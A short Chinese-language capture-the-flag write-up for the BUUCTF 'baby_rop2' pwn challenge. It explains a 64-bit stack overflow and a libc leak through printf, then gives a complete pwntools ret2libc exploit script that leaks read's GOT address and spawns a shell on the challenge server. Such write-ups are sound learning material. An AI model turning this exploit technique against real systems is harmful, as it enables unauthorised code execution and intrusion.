BUUCTF—baby_rop2
先看看开了什么保护机制
打开64位ida看看
一个大大的栈溢出,那么接下来就是去看看有没有后门函数
没有后门函数,system和/bin/sh都没有,害
不过还好,有个printf函数,我们还能进行泄露libc,这题的话有个点就是printf的got不能泄露,因为这个用的libc刚好printf的偏移后两位都是0,这也就导致了字符串截断,输出不出来got内容,所以我们要泄露其他的函数的got
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',28057)
#p=process('./babyrop2')
#a=input()
elf=ELF('./babyrop2')
read_got=elf.got['read']
printf_plt=elf.plt['printf']
pop_rdi=0x400733
ret=0x4004d1
main=0x400636
p.recvuntil('name? ')
payload=b'a'*0x28+p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main)
p.sendline(payload)
print(p.recvline())
#print(p.recv())
read_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_add))
libc=LibcSearcher('read',read_add)
libc_base=read_add-libc.dump('read')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.recvuntil('name? ')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()